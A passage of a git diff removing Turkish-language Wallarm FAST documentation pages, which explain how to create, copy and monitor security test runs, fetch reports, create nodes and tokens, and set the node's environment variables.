oluşturulması ve yürütülmesi süreçleri başlar ve temel isteklerin kaydedilmesi süreci [durdurulduğunda][doc-stop-recording] sonra da önemli bir süre devam edebilir. Devam eden süreçlere dair fikir edinmek için test çalışmasının durumunu kontrol edebilirsiniz. Bunun için aşağıdaki yöntemler kullanılabilir: - -* [Wallarm UI üzerinden durumu kontrol etme](#checking-the-state-via-wallarm-ui) -* [API yöntemi kullanarak durumu kontrol etme](#checking-the-state-using-api-method) - -## Wallarm UI üzerinden durumu kontrol etme - -Test çalışmasının durumu Wallarm UI içinde gerçek zamanlı olarak görüntülenir. Durumu kontrol etmek için: - -1. [US cloud](https://us1.my.wallarm.com/) veya [EU cloud](https://my.wallarm.com/) üzerindeki Wallarm hesabınıza giriş yapın. -2. **Test runs** bölümünü açın ve gerekli test çalışmasına tıklayın. - -![Test çalışması örneği][img-test-runs] - -Durum, her temel istek için görüntülenir: - -* **Passed** ![Durum: Passed][img-status-passed] - - İlgili temel istek için herhangi bir güvenlik açığı bulunmadı. - -* **In progress** ![Durum: In progress][img-status-inprogress] - - Temel istek güvenlik açıkları için test ediliyor. - -* **Failed** ![Durum: Failed][img-status-failed] - - İlgili temel istek için güvenlik açıkları bulundu. Her temel istek için güvenlik açığı sayısı ve ayrıntılara ilişkin bağlantı görüntülenir. - -* **Error** ![Durum: Error][img-status-error] - - Test süreci görüntülenen hata nedeniyle durduruldu: - - * `Connection failed`: ağ hatası - * `Auth failed`: kimlik doğrulama parametreleri iletilmedi veya hatalı iletildi - * `Invalid policies`: yapılandırılan test ilkesinin uygulanması başarısız oldu - * `Internal exception`: yanlış güvenlik testi yapılandırması - * `Recording error`: istek parametreleri yanlış veya eksik - -* **Waiting** ![Durum: Waiting][img-status-waiting] - - Temel istek test için kuyruğa alındı. Aynı anda yalnızca sınırlı sayıda istek test edilebilir. - -* **Interrupted** ![Durum: Interrupted][img-status-interrupted] - - Test süreci ya **Interrupt testing** düğmesiyle kesildi ya da aynı FAST düğümünde başka bir test çalışması yürütüldü. - -## API yöntemi kullanarak durumu kontrol etme - -!!! info "Gerekli veriler" - Aşağıda açıklanan adımlara devam etmek için şu verilere ihtiyaç vardır: - - * bir token - * bir test çalışması tanımlayıcısı - - Test çalışması ve token hakkında ayrıntılı bilgiyi [buradan][doc-about-tr-token] edinebilirsiniz. - - Bu dökümanda örnek değer olarak şu değerler kullanılmıştır: - - * token olarak `token_Qwe12345`. - * test çalışması tanımlayıcısı olarak `tr_1234`. - - -!!! info "Bir test çalışmasının kontrolünü gerçekleştirmek için doğru zaman aralığı nasıl seçilir" - Test çalışmasının durumunu önceden tanımlı bir zaman aralığında (ör. 15 saniye) kontrol edebilirsiniz. Alternatif olarak, bir test çalışmasının tamamlanma için tahmini süresini kullanarak bir sonraki kontrolün ne zaman yapılacağını belirleyebilirsiniz. Bu tahmini, bir test çalışmasının durumunu kontrol ederken elde edebilirsiniz. [Ayrıntılar için aşağıya bakın.][anchor-testrun-estimates] - -Test çalışmasının durumunu tek seferlik kontrol etmek için `https://us1.api.wallarm.com/v1/test_run/test_run_id` URL’sine bir GET isteği gönderin: - ---8<-- "../include/fast/operations/api-check-testrun-status.md" - -API sunucusuna yapılan istek başarılı olursa, sunucu cevabını alırsınız. Bu cevap, aşağıdakiler dahil birçok faydalı bilgi içerir: - -* `vulns`: hedef uygulamada tespit edilen güvenlik açıklarına ilişkin bilgileri içeren bir dizi. Her bir güvenlik açığı kaydı, belirli bir güvenlik açığına dair aşağıdaki verileri tutar: - * `id`: güvenlik açığının tanımlayıcısı. - - * `threat`: güvenlik açığının tehdit düzeyini tanımlayan, 1 ile 100 arasında bir sayı. Düzey ne kadar yüksekse güvenlik açığı o kadar ciddidir. - * `code`: güvenlik açığına atanan kod. - - * `type`: güvenlik açığı türü. Parametre, [burada][link-vuln-list] açıklanan değerlerden birini alabilir. - -* `state`: test çalışmasının durumu. Parametre aşağıdaki değerlerden birini alabilir: - * `cloning`: temel isteklerin kopyalanması devam ediyor (bir test çalışmasının [kopyasını oluştururken][doc-testrun-copying]). - * `running`: test çalışması çalışıyor ve yürütülüyor. - * `paused`: test çalışmasının yürütülmesi duraklatıldı. - * `interrupted`: test çalışmasının yürütülmesi kesildi (ör. bu düğüm tarafından yürütülürken FAST düğümü için yeni bir test çalışması oluşturuldu). - * `passed`: test çalışmasının yürütülmesi başarıyla tamamlandı (güvenlik açığı bulunmadı). - * `failed`: test çalışmasının yürütülmesi başarısız tamamlandı (bazı güvenlik açıkları bulundu). - -* `baseline_check_all_terminated_count`: tüm test istek kontrolleri tamamlanan temel isteklerin sayısı. - -* `baseline_check_fail_count`: bazı test istek kontrolleri başarısız olan temel isteklerin sayısı (başka bir deyişle, FAST bir güvenlik açığı buldu). - -* `baseline_check_tech_fail_count`: bazı test istek kontrolleri teknik sorunlar nedeniyle başarısız olan temel isteklerin sayısı (ör. hedef uygulama bir süreliğine kullanılamadıysa). - -* `baseline_check_passed_count`: tüm test istek kontrolleri geçen temel isteklerin sayısı (başka bir deyişle, FAST herhangi bir güvenlik açığı bulmadı). - -* `baseline_check_running_count`: test istek kontrolleri hâlâ devam eden temel isteklerin sayısı. - -* `baseline_check_interrupted_count`: tüm test istek kontrolleri kesilen temel isteklerin sayısı (ör. test çalışmasının kesilmesi nedeniyle) - -* `sended_requests_count`: hedef uygulamaya gönderilen toplam test isteklerinin sayısı. - -* `start_time` ve `end_time`: sırasıyla test çalışmasının başladığı ve bittiği zaman. Zaman UNIX zaman biçiminde belirtilir. - -* `domains`: temel isteklerin hedeflendiği hedef uygulamanın alan adlarının listesi. - -* `baseline_count`: kaydedilen temel isteklerin sayısı. - -* `baseline_check_waiting_count`: kontrol edilmek için bekleyen temel isteklerin sayısı; - -* `planing_requests_count`: hedef uygulamaya gönderilmek üzere kuyruğa alınmış toplam test isteklerinin sayısı. - -### Test çalışmasının yürütme hızı ve tamamlanma süresi tahminleri - -API sunucusunun cevabında, bir test çalışmasının yürütme hızını ve tamamlanma süresini tahmin etmenize olanak sağlayan ayrı bir parametre grubu vardır. Grup, aşağıdaki parametrelerden oluşur: - -* `current_rps`—FAST’in hedef uygulamaya (test çalışmasının durumu edinildiği anda) gönderdiği isteklerin anlık hızı. - - Bu değer, ortalama saniye başına istek sayısıdır (RPS). Bu ortalama RPS, test çalışmasının durumu edinilmeden önceki 10 saniyelik zaman aralığında FAST’in hedef uygulamaya gönderdiği istek sayısı olarak hesaplanır. - - **Örnek:** - Test çalışmasının durumu 12:03:01’de edinildiyse, `current_rps` parametresinin değeri, *( [12:02:51-12:03:01] zaman aralığında gönderilen istek sayısı )/10* olarak hesaplanır. - -* `avg_rps`—FAST’in hedef uygulamaya (test çalışmasının durumu edinildiği anda) gönderdiği isteklerin ortalama hızı. - - Bu değer, FAST’in hedef uygulamaya *tüm test çalışmasının yürütülme süresi* boyunca gönderdiği ortalama saniye başına istek sayısıdır (RPS): - - * Test çalışması hâlâ yürütülüyorsa, test çalışmasının başlangıcından mevcut ana kadar (bu, `current time`-`start_time`’a eşittir). - * Test çalışmasının yürütülmesi tamamlandıysa, test çalışmasının başlangıcından bitişine kadar (bu, `end_time`-`start_time`’a eşittir). - - `avg_rps` parametresinin değeri, *(`sended_requests_count`/(tüm test çalışmasının yürütülme süresi))* olarak hesaplanır. - -* `estimated_time_to_completion`—(test çalışmasının durumu edinildiği anda) test çalışmasının tamamlanmasının muhtemel olduğu zamana kadar geçecek süre (saniye cinsinden). - - Parametre değeri şu durumlarda `null` olur: - - * Henüz devam eden bir güvenlik açığı kontrolü yoksa (ör. yeni oluşturulmuş test çalışması için şu ana kadar hiçbir temel istek kaydedilmediyse). - * Test çalışması yürütülmüyorsa (yani `"state":"running"` hariç herhangi bir durumda ise). - - `estimated_time_to_completion` parametresinin değeri, *(`planing_requests_count`/`current_rps`)* olarak hesaplanır. - -!!! warning "Test çalışmasının yürütme hızı ve zaman tahminleriyle ilgili parametrelerin olası değerleri" - Yukarıda belirtilen parametrelerin değerleri, bir test çalışmasının yürütülmesinin ilk 10 saniyesinde `null` olur. - -Bir sonraki test çalışması durumu kontrolünün ne zaman yapılacağını belirlemek için `estimated_time_to_completion` parametresinin değerinden yararlanabilirsiniz. Değerin artabileceğini veya azalabileceğini unutmayın. - -**Örnek:** - -Bir test çalışmasının durumunu `estimated_time_to_completion` süresi sonunda kontrol etmek için şunları yapın: - -1. Test çalışmasının yürütülmesi başladıktan sonra, test çalışmasının durumunu birkaç kez edinin. Örneğin, bunu 10 saniyelik aralıklarla yapabilirsiniz. `estimated_time_to_completion` parametresinin değeri `null` olmayana kadar devam edin. - -2. Bir sonraki durum kontrolünü `estimated_time_to_completion` saniye sonra gerçekleştirin. - -3. Test çalışmasının yürütülmesi tamamlanana kadar önceki adımı tekrarlayın. - -!!! info "Tahminlerin görsel temsili" - Tahmin değerlerini Wallarm web arayüzünü kullanarak da edinebilirsiniz. - - Bunu yapmak için Wallarm portalına giriş yapın ve şu anda yürütülmekte olan [test çalışmaları listesine][link-wl-portal-testruns-in-progress] gidin: - - ![Test çalışmasının hız ve yürütme süresi tahminleri][img-testrun-velocity] - - Test çalışmasının yürütülmesi tamamlandığında, ortalama saniye başına istek sayısı değeri görüntülenir: - - ![Ortalama saniye başına istek sayısı değeri][img-testrun-avg-rps] \ No newline at end of file diff --git a/docs/latest-tr/fast/operations/ci-mode-report.md b/docs/latest-tr/fast/operations/ci-mode-report.md deleted file mode 100644 index 7d5ff3e523..0000000000 --- a/docs/latest-tr/fast/operations/ci-mode-report.md +++ /dev/null @@ -1,50 +0,0 @@ -[anchor-report-mode]: #running-fast-node-in-report-mode - -[doc-ci-mode-testing-report]: ../poc/ci-mode-testing.md#deployment-of-a-fast-node-in-the-testing-mode -[doc-ci-mode-testing]: ../poc/ci-mode-testing.md -[doc-get-token]: create-node.md -[deploy-docker-with-fast-node]: ../qsg/deployment.md#4-deploy-the-fast-node-docker-container - -# Test Sonuçlarıyla Raporu Alma - -FAST node, test sonuçlarını TXT ve JSON biçimlerinde almanıza olanak tanır: - -* TXT dosyası, kısa test sonuçlarını — temel istatistikleri ve tespit edilen zafiyetlerin listesini — içerir. -* JSON dosyası ayrıntılı test sonuçlarını — güvenlik testi ve temel isteklerin ayrıntılarını ve ayrıca tespit edilen zafiyetlerin listesini — içerir. JSON dosyası içeriği, Wallarm hesabınız > **Test runs** bölümünde sunulan verilerle aynıdır. - -Raporu almak için, rapor oluşturma yöntemini seçin ve aşağıdaki talimatları izleyin: - -* [FAST node'u rapor modunda çalıştırma][anchor-report-mode] -* [Rapor indirme seçeneğiyle FAST node'u test modunda çalıştırma][doc-ci-mode-testing-report] - -## FAST Node'u Rapor Modunda Çalıştırma {#running-fast-node-in-report-mode} - -FAST node'u rapor modunda çalıştırmak için, [Docker kapsayıcısını dağıtırken][deploy-docker-with-fast-node] aşağıdaki adımları uygulayın: - -
              1. Ortam değişkenlerini ayarlayın:
              - -| Değişken | Açıklama | Zorunlu | -|-------------------- | -------- | ----------- | -| `WALLARM_API_TOKEN` | Wallarm Cloud'dan bir [token][doc-get-token]. | Evet | -| `WALLARM_API_HOST` | Wallarm API sunucusunun adresi.
              İzin verilen değerler:
              Wallarm US cloud'daki sunucu için `us1.api.wallarm.com` ve
              Wallarm EU cloud'daki sunucu için `api.wallarm.com`.| Evet | -| `CI_MODE` | FAST node'un çalışma modu.
              `report` olmalıdır. | Evet | -| `TEST_RUN_ID` | Raporu almak için gereken test çalıştırması kimliği (ID).
              Kimlik, Wallarm hesabınız > **Test runs** bölümünde ve FAST node'un test modunda çalıştırılması sırasında oluşturulan günlüklerde görüntülenir.
              Varsayılan olarak, son test çalıştırmasının kimliği kullanılır. | Hayır | - -
              1. Raporlar için klasörün yolunu -v {DIRECTORY_FOR_REPORTS}:/opt/reports/ seçeneği aracılığıyla iletin.
              - -**FAST node Docker kapsayıcısını rapor modunda çalıştırma komutu örneği:** - -``` -docker run --rm -e WALLARM_API_HOST=us1.api.wallarm.com -e WALLARM_API_TOKEN=qwe53UTb2 -e CI_MODE=report -e TEST_RUN_ID=9012 -v documents/reports:/opt/reports/ wallarm/fast -``` - -## Raporu Alma - -Komut başarıyla yürütüldüyse, terminalde test çalıştırmasına ilişkin kısa verileri alırsınız: - ---8<-- "../include/fast/console-include/operations/node-in-ci-mode-report.md" - -Rapor oluşturma tamamlandığında, `DIRECTORY_FOR_REPORTS` klasöründe aşağıdaki rapor dosyalarını bulacaksınız: - -* `..txt` -* `..json` \ No newline at end of file diff --git a/docs/latest-tr/fast/operations/copy-testrun.md b/docs/latest-tr/fast/operations/copy-testrun.md deleted file mode 100644 index 4132d9397a..0000000000 --- a/docs/latest-tr/fast/operations/copy-testrun.md +++ /dev/null @@ -1,104 +0,0 @@ -[doc-tr-information]: internals.md -[doc-testrecord]: internals.md#test-record -[doc-state-description]: check-testrun-status.md - -[doc-create-testrun]: create-testrun.md - -[img-similar-tr-item]: ../../images/fast/operations/common/copy-testrun/create-similar-testrun-item.png -[img-similar-tr-sidebar]: ../../images/fast/operations/common/copy-testrun/create-similar-testrun-sidebar.png - -# Bir Test Çalıştırmasının Kopyalanması - -!!! info "Gerekli Veriler" - Bir test çalıştırmasını bir API çağrısı ile kopyalamak için aşağıdaki veriler gereklidir: - - * bir token - * mevcut bir test kaydı tanımlayıcısı - - Bir test çalıştırmasını web arayüzü üzerinden kopyalamak için bir Wallarm hesabı gereklidir. - - Token ve test kayıtları hakkında ayrıntılı bilgiyi [burada][doc-tr-information] bulabilirsiniz. - - Bu belgede örnek olarak aşağıdaki değerler kullanılmıştır: - - * `token_Qwe12345` bir token olarak. - * `rec_0001` bir test kaydı olarak. - -Bir test çalıştırması kopyalanırken, mevcut bir [test kaydı][doc-testrecord] yeniden kullanılır. - -Hedef uygulamayı önceden kaydedilmiş temel istekleri kullanarak test etmek gerektiğinde bu test çalıştırması oluşturma yöntemi kullanılmalıdır. - - -## Test Çalıştırmasını Kopyalama Kuralları - -Bir test çalıştırmasını kopyalarken dikkate alınması gerekenler: -* Kopyalanan test çalıştırmasının kullanacağı herhangi bir test politikasını belirtebilirsiniz. Bu politika, orijinal test çalıştırmasında kullanılan politikadan farklı olabilir. -* Aşağıdaki durumlarda olan test çalıştırmalarını kopyalayabilirsiniz: `failed`, `interrupted`, `passed`, `paused`, `running`. Bu test çalıştırması durumlarının açıklamaları [burada][doc-state-description] verilmiştir. -* İçinde hiçbir temel istek bulunmayan boş bir test kaydı kullanılarak bir test çalıştırması kopyalanamaz. -* Bir test kaydına bazı temel istekler kaydedilmekteyse, bu kayıt bir test çalıştırmasını kopyalamak için kullanılamaz. - - Tamamlanmamış bir test kaydına dayanarak bir test çalıştırmasını kopyalamaya çalışırsanız, API sunucusundan `400` hata kodu (`Bad Request`) ve aşağıdakine benzer bir hata mesajı alırsınız: - - ``` - { - "status": 400, - "body": { - "test_record_id": { - "error": "not_ready_for_cloning", - "value": rec_0001 - } - } - } - ``` - - Kayıt işlemi durdurulmadıkça web arayüzünden bir test çalıştırması kopyalanamaz. - -## Bir Test Çalıştırmasını API ile Kopyalama - -Bir test çalıştırmasını kopyalamak ve çalıştırmak için `https://us1.api.wallarm.com/v1/test_run` URL’sine POST isteği gönderin: - ---8<-- "../include/fast/operations/api-copy-testrun.md" - -API sunucusuna yapılan istek başarılı olursa, sunucunun yanıtı gösterilir. Yanıtta aşağıdakiler de dahil olmak üzere yararlı bilgiler bulunur: - -1. `id`: bir test çalıştırması kopyasının tanımlayıcısı (örn., `tr_1234`). - - Test çalıştırmasının yürütme durumunu kontrol etmek için `id` parametresinin değerine ihtiyaç duyarsınız. - -2. `state`: test çalıştırmasının durumu. - - Yeni kopyalanan test çalıştırması `running` durumundadır. - - `state` parametresinin tüm değerlerinin kapsamlı açıklaması [burada][doc-state-description] bulunabilir. - - -## Bir Test Çalıştırmasını Web Arayüzü ile Kopyalama - -Wallarm portalının web arayüzü üzerinden bir test çalıştırmasını kopyalayıp çalıştırmak için: -1. Wallarm hesabınızla portala giriş yapın, ardından “Test runs” sekmesine gidin. -2. Kopyalanacak bir test çalıştırmasını seçin, ardından test çalıştırmasının sağındaki eylem menüsünü açın. -3. “Create similar testrun” menü öğesini seçin. - - ![“Create similar test run” menü öğesi][img-similar-tr-item] - -4. Açılan kenar çubuğunda aşağıdaki öğeleri seçin: - * test çalıştırması kopyasının adı - * test çalıştırması kopyasıyla kullanılacak politika - * test çalıştırması kopyasının çalıştırılacağı düğüm - - ![“Test run” kenar çubuğu][img-similar-tr-sidebar] - - Gerekirse “Advanced settings” seçeneğini seçerek ek ayarları yapılandırabilirsiniz: - ---8<-- "../include/fast/test-run-adv-settings.md" - -5. “Use baselines from ``” seçeneğinin işaretli olduğundan emin olun. - - !!! info "Test Kaydını Yeniden Kullanma" - Seçenekte gösterilenin test çalıştırması adı değil, test kaydı adı olduğunu unutmayın. - - `test_record_name` parametresi belirtilmeden [bir test çalıştırması oluşturulursa][doc-create-testrun], test kaydının adı test çalıştırmasının adıyla aynı olur. - - Yukarıdaki görsel, adının geçmişte bu test kaydını kullanan test çalıştırmasının adıyla eşdeğer olmadığı bir test kaydından bahseden kopyalama diyalogunu göstermektedir (`MY TEST RECORD` test kaydı, `DEMO TEST RUN` test çalıştırması tarafından kullanılmıştır). - -6. “Create and run” düğmesine tıklayarak test çalıştırmasını çalıştırın. \ No newline at end of file diff --git a/docs/latest-tr/fast/operations/create-node.md b/docs/latest-tr/fast/operations/create-node.md deleted file mode 100644 index 038c4e9eae..0000000000 --- a/docs/latest-tr/fast/operations/create-node.md +++ /dev/null @@ -1,19 +0,0 @@ -[doc-about-token]: internals.md#token -[link-wl-portal-node-tab]: https://us1.my.wallarm.com/testing/nodes - - -# FAST Düğümü Oluşturma ve Jeton Alma - -!!! info "Ek bilgiler" - FAST düğümü ve jeton hakkında ayrıntılı bilgiyi [burada][doc-about-token] okuyabilirsiniz. - -Wallarm Cloud'da bir FAST düğümü oluşturmak için aşağıdakileri yapın: -1. Wallarm portalındaki [“FAST: Nodes” bölümü][link-wl-portal-node-tab]'ne gidin. - - “FAST” bölümü mevcut değilse, önce FAST aboneliğini almak için lütfen [sales@wallarm.com](mailto:sales@wallarm.com) ile iletişime geçin. -2. “Create FAST node” düğmesine tıklayın. -3. Düğümün adını girin ve “Create” düğmesine tıklayın. -4. Düğümün jetonunu kopyalayın ve “OK” düğmesine tıklayın. - -!!! warning "Jetonla çalışırken alınacak önlemler" - Herhangi bir jetonun değerinin herkese açık hale getirilmesi kesinlikle önerilmez. \ No newline at end of file diff --git a/docs/latest-tr/fast/operations/create-testrun.md b/docs/latest-tr/fast/operations/create-testrun.md deleted file mode 100644 index 8d246723a2..0000000000 --- a/docs/latest-tr/fast/operations/create-testrun.md +++ /dev/null @@ -1,78 +0,0 @@ -[img-test-run-creation]: ../../images/fast/operations/common/create-testrun/test-run-create.png -[img-testrun-adv-settings]: ../../images/fast/operations/common/create-testrun/test-run-settings.png - -[doc-token-information]: internals.md#token -[doc-state-description]: check-testrun-status.md -[doc-copying-testrun]: copy-testrun.md -[doc-testrecord]: internals.md#test-record - -[link-stopping-recording-chapter]: stop-recording.md -[link-create-policy]: test-policy/general.md -[link-create-node]: create-node.md -[doc-inactivity-timeout]: internals.md#test-run - -# Bir Test Çalıştırması Oluşturma - -!!! info "Gerekli veriler" - API yöntemleriyle bir test çalıştırması oluşturmak için bir token gerekir. - - Web arayüzüyle bir test çalıştırması oluşturmak için bir Wallarm hesabına ihtiyacınız vardır. - - Token hakkında ayrıntılı bilgiyi [buradan][doc-token-information] alabilirsiniz. - - Bu belgede örnek token olarak `token_Qwe12345` değeri kullanılmıştır. - -Bir test çalıştırması oluşturulduğunda, yeni bir [test kaydı][doc-testrecord] da oluşturulur. - -Bu test çalıştırması oluşturma yöntemi, hedef uygulamanın test edilmesiyle birlikte temel isteklerin kaydının yapılması gerektiğinde kullanılmalıdır. - -## API ile Test Çalıştırması Oluşturma - -Bir test çalıştırması oluşturmak için `https://us1.api.wallarm.com/v1/test_run` URL’sine POST isteği gönderin: - ---8<-- "../include/fast/operations/api-create-testrun.md" - -API sunucusuna yapılan istek başarılı olursa, sunucunun yanıtı döner. Bu yanıtta aşağıdakiler dahil yararlı bilgiler bulunur: - -1. `id`: yeni oluşturulan test çalıştırmasının tanımlayıcısı (ör. `tr_1234`). - - `id` parametresinin değerine, FAST’i CI/CD’ye entegre etmek için gerekli olan aşağıdaki işlemleri gerçekleştirmek üzere ihtiyaç duyacaksınız: - - 1. FAST node’un kayıt işlemini başlatmasını kontrol etmek. - 2. Temel isteklerin kaydını durdurmak. - 3. FAST güvenlik testlerinin tamamlanmasını beklemek. - -2. `state`: test çalıştırmasının durumu. - - Yeni oluşturulan test çalıştırması `running` durumundadır. - `state` parametresinin tüm değerlerinin kapsamlı açıklamasını [burada][doc-state-description] bulabilirsiniz. - -3. `test_record_id`: yeni oluşturulan test kaydının tanımlayıcısı (ör. `rec_0001`). Tüm temel istekler bu test kaydı içinde tutulacaktır. - -## Web Arayüzü ile Test Çalıştırması Oluşturma - -Wallarm hesabınızın arayüzü üzerinden bir test çalıştırması oluşturmak için aşağıdaki adımları izleyin: - -1. Wallarm hesabınızda > **Test runs** bölümüne AB bulutu için [bu bağlantı](https://my.wallarm.com/testing/testruns) veya ABD bulutu için [bu bağlantı](https://us1.my.wallarm.com/testing/testruns) üzerinden gidin. - -2. **Create test run** düğmesine tıklayın. - -3. Test çalıştırmanızın adını girin. - -4. **Test policy** açılır listesinden test politikasını seçin. Yeni bir test politikası oluşturmak için lütfen şu [talimatları][link-create-policy] izleyin. Ayrıca varsayılan politikayı da kullanabilirsiniz. - -5. **Node** açılır listesinden FAST node seçin. FAST node oluşturmak için lütfen şu [talimatı][link-create-node] izleyin. - - ![Test çalıştırması oluşturma][img-test-run-creation] - -6. Gerekirse **Advanced settings** ekleyin. Bu ayarlar bloğu aşağıdaki noktaları içerir: - ---8<-- "../include/fast/test-run-adv-settings.md" - - ![Test çalıştırması gelişmiş ayarlar][img-testrun-adv-settings] - -7. **Create and run** düğmesine tıklayın. - -## Test kaydını yeniden kullanma - -İstekler bir istek kaynağından hedef uygulamaya gönderildiğinde ve [kayıt işlemi durdurulduğunda][link-stopping-recording-chapter], test kaydını diğer test çalıştırmalarıyla [yeniden kullanmak][doc-copying-testrun] mümkündür. \ No newline at end of file diff --git a/docs/latest-tr/fast/operations/env-variables.md b/docs/latest-tr/fast/operations/env-variables.md deleted file mode 100644 index 09b599fcc0..0000000000 --- a/docs/latest-tr/fast/operations/env-variables.md +++ /dev/null @@ -1,72 +0,0 @@ -[doc-dsl-ext]: ../dsl/intro.md -[doc-record-mode]: ../poc/ci-mode-recording.md -[doc-test-mode]: ../poc/ci-mode-testing.md - -[anchor-allowed-hosts]: #limiting-the-number-of-requests-to-be-recorded - -# Bir FAST node tarafından kullanılan ortam değişkenlerinin listesi - -FAST node'u yapılandırmak için birçok parametre kullanılır. Bu parametrelerin değerleri ilgili ortam değişkenleri aracılığıyla değiştirilebilir. - -Ortam değişkenlerinin değerlerini ayarlayabilir ve bu değişkenleri FAST node'a aşağıdaki yollardan biriyle iletebilirsiniz: -* `-e` argümanı ile - - ``` - docker run --name \ - -e = \ - ... - -e = \ - -p :8080 wallarm/fast - ``` - -* veya ortam değişkenlerini içeren dosyanın yolunu belirten `--env-file` argümanı ile - - ``` - docker run --name \ - --env-file= \ - -p :8080 wallarm/fast - ``` - - Bu dosya, her satırda bir değişken olacak şekilde ortam değişkenlerinin listesini içermelidir: - - ``` - # Ortam değişkenleri içeren örnek dosya - - WALLARM_API_TOKEN=token_Qwe12345 # Bu örnek bir değerdir—yerine gerçek bir token değeri kullanın - ALLOWED_HOSTS=google-gruyere.appspot.com # Bu etki alanını hedefleyen gelen istekler bir test kaydına yazılacaktır - ``` - -Yapılandırılabilir tüm parametreler aşağıdaki tabloda listelenmiştir: - -| Parametre | Değer | Zorunlu mu? | -|-------------------- | -------- | ----------- | -| `WALLARM_API_TOKEN` | Wallarm Cloud'dan bir token. | Evet | -| `WALLARM_API_HOST` | Wallarm API sunucusunun adresi.
              İzin verilen değerler:
              Wallarm US cloud içindeki sunucu için `us1.api.wallarm.com` ve
              Wallarm EU cloud içindeki sunucu için `api.wallarm.com`. | Evet | -| `ALLOWED_HOSTS` | Hedef uygulamanın host listesidir. Bu hostları hedefleyen gelen istekler bir test kaydına yazılacaktır.
              Varsayılan olarak tüm gelen istekler kaydedilir.
              Daha fazla ayrıntı için [buraya][anchor-allowed-hosts] bakın.| Hayır | -| `WALLARM_API_USE_SSL` | Wallarm API sunucularından birine bağlanırken SSL kullanılıp kullanılmayacağını belirler.
              İzin verilen değerler: `true` ve `false`.
              Varsayılan değer: `true`. | Hayır | -| `WORKERS` | Temel (baseline) istekleri işleyen ve güvenlik testlerini yapan iş parçacıklarının sayısı.
              Varsayılan değer: `10`. | Hayır | -| `GIT_EXTENSIONS` | [özel FAST DSL uzantıları][doc-dsl-ext] içeren Git deposunun bağlantısı (bu depoya FAST node konteyneri tarafından erişilebilir olmalıdır) | Hayır | -| `CI_MODE` | CI/CD'ye entegrasyon sırasında FAST node'un çalışma modu.
              İzin verilen değerler:
              [kayıt modu][doc-record-mode] için `recording` ve
              [test modu][doc-test-mode] için `testing`. | Hayır | -| `BACKEND_HTTPS_PORTS` | Hedef uygulama için varsayılan dışı port(lar) yapılandırıldıysa, uygulama tarafından kullanılan HTTPS port numarası/numaraları.
              Bu parametre değerinde birkaç port listelenebilir, örneğin:
              `BACKEND_HTTPS_PORTS='443;3000;8091'`
              Varsayılan değer: `443` | Hayır | -| `WALLARM_API_CA_VERIFY` | Wallarm API sunucusunun CA sertifikasının doğrulanıp doğrulanmayacağını belirler.
              İzin verilen değerler: `true` ve `false`.
              Varsayılan değer: `false`. | Hayır | -| `CA_CERT` | FAST node tarafından kullanılacak CA sertifikasının yolu.
              Varsayılan değer: `/etc/nginx/ssl/nginx.crt`. | Hayır | -| `CA_KEY` | FAST node tarafından kullanılacak CA özel anahtarının yolu.
              Varsayılan değer: `/etc/nginx/ssl/nginx.key`. | Hayır | - - - -## Kaydedilecek isteklerin sayısını sınırlama - -Varsayılan olarak FAST node, tüm gelen istekleri temel (baseline) istekler olarak kabul eder. Bu nedenle, bu istekleri kaydeder ve bunlara dayanarak güvenlik testleri oluşturup yürütür. Ancak FAST node üzerinden hedef uygulamaya, temel istek olarak tanımlanmaması gereken gereksiz istekler de geçebilir. - -FAST node tarafından kaydedilecek isteklerin sayısını, uygulamayı hedeflemeyen tüm istekleri filtreleyerek sınırlayabilirsiniz (FAST node filtrelenen istekleri proxy'ler ancak kaydetmez). Bu sınırlama, FAST node ve hedef uygulama üzerindeki yükü azaltırken test sürecini hızlandırır. Bu sınırlamayı uygulamak için, test sırasında istek kaynağının hangi hostlarla etkileşime girdiğini bilmeniz gerekir. - -Tüm temel olmayan istekleri `ALLOWED_HOSTS` ortam değişkenini yapılandırarak filtreleyebilirsiniz. - ---8<-- "../include/fast/operations/env-vars-allowed-hosts.md" - -FAST node bu ortam değişkenini aşağıdaki şekilde kullanır: -* Gelen isteğin `Host` başlığının değeri `ALLOWED_HOSTS` değişkeninde belirtilen değerle eşleşiyorsa, FAST node isteği temel (baseline) bir istek olarak kabul eder. İstek kaydedilir ve proxy'lenir. -* Tüm diğer istekler FAST node üzerinden proxy'lenir ancak kaydedilmez. - -!!! info "ALLOWED_HOSTS ortam değişkeni kullanım örneği" - Değişken `ALLOWED_HOSTS=google-gruyere.appspot.com` olarak tanımlanırsa, `google-gruyere.appspot.com` etki alanını hedefleyen istekler temel (baseline) istek olarak kabul edilir. \ No newline at end of file diff --git a/docs/latest-tr/fast/operations/internals.md b/docs/latest-tr/fast/operations/internals.md deleted file mode 100644 index c768d0eccc..0000000000 --- a/docs/latest-tr/fast/operations/internals.md +++ /dev/null @@ -1,228 +0,0 @@ -[img-testpolicy-id]: ../../images/fast/operations/common/internals/policy-id.png -[img-execution-timeline-recording]: ../../images/fast/operations/en/internals/execution-timeline.png -[img-execution-timeline-no-recording]: ../../images/fast/operations/en/internals/execution-timeline-existing-testrecord.png -[img-testrecord]: ../../images/fast/operations/en/internals/testrecord-explained.png -[img-fast-node]: ../../images/fast/operations/common/internals/fast-node.png -[img-reuse-token]: ../../images/fast/operations/common/internals/reuse-token.png -[img-components-relations]: ../../images/fast/operations/common/internals/components-relations.png -[img-common-timeline-no-recording]: ../../images/fast/operations/en/internals/common-timeline-existing-testrecord.png - -[doc-ci-intro]: ../poc/integration-overview.md -[doc-node-deployment-api]: ../poc/node-deployment.md -[doc-node-deployment-ci-mode]: ../poc/ci-mode-recording.md -[doc-quick-start]: ../qsg/deployment-options.md -[doc-integration-overview]: ../poc/integration-overview.md - -[link-create-policy]: test-policy/general.md -[link-use-policy]: test-policy/using-policy.md -[doc-policy-in-detail]: test-policy/overview.md - -[anchor-testpolicy]: #fast-test-policy -[anchor-testrun]: #test-run -[anchor-token]: #token -[anchor-testrecord]: #test-record - -[doc-testpolicy-creation-example]: ../qsg/test-preparation.md#2-create-a-test-policy-targeted-at-xss-vulnerabilities -[doc-about-timeout]: create-testrun.md -[doc-node-deployment]: ../poc/node-deployment.md#deployment-of-the-docker-container-with-the-fast-node - -[link-wl-portal-new-policy]: https://us1.my.wallarm.com/testing/policies/new#general -[link-wl-portal-policy-tab]: https://us1.my.wallarm.com/testing/policies -[link-wl-portal-node-tab]: https://us1.my.wallarm.com/testing/nodes - -# FAST Nasıl Çalışır - ---8<-- "../include/fast/cloud-note.md" - -!!! info "Belge içeriğine dair kısa not" - Aşağıda belirtilen varlıklar arasındaki ilişkiler ve bu bölümde açıklanan test senaryoları, Wallarm API kullanılarak 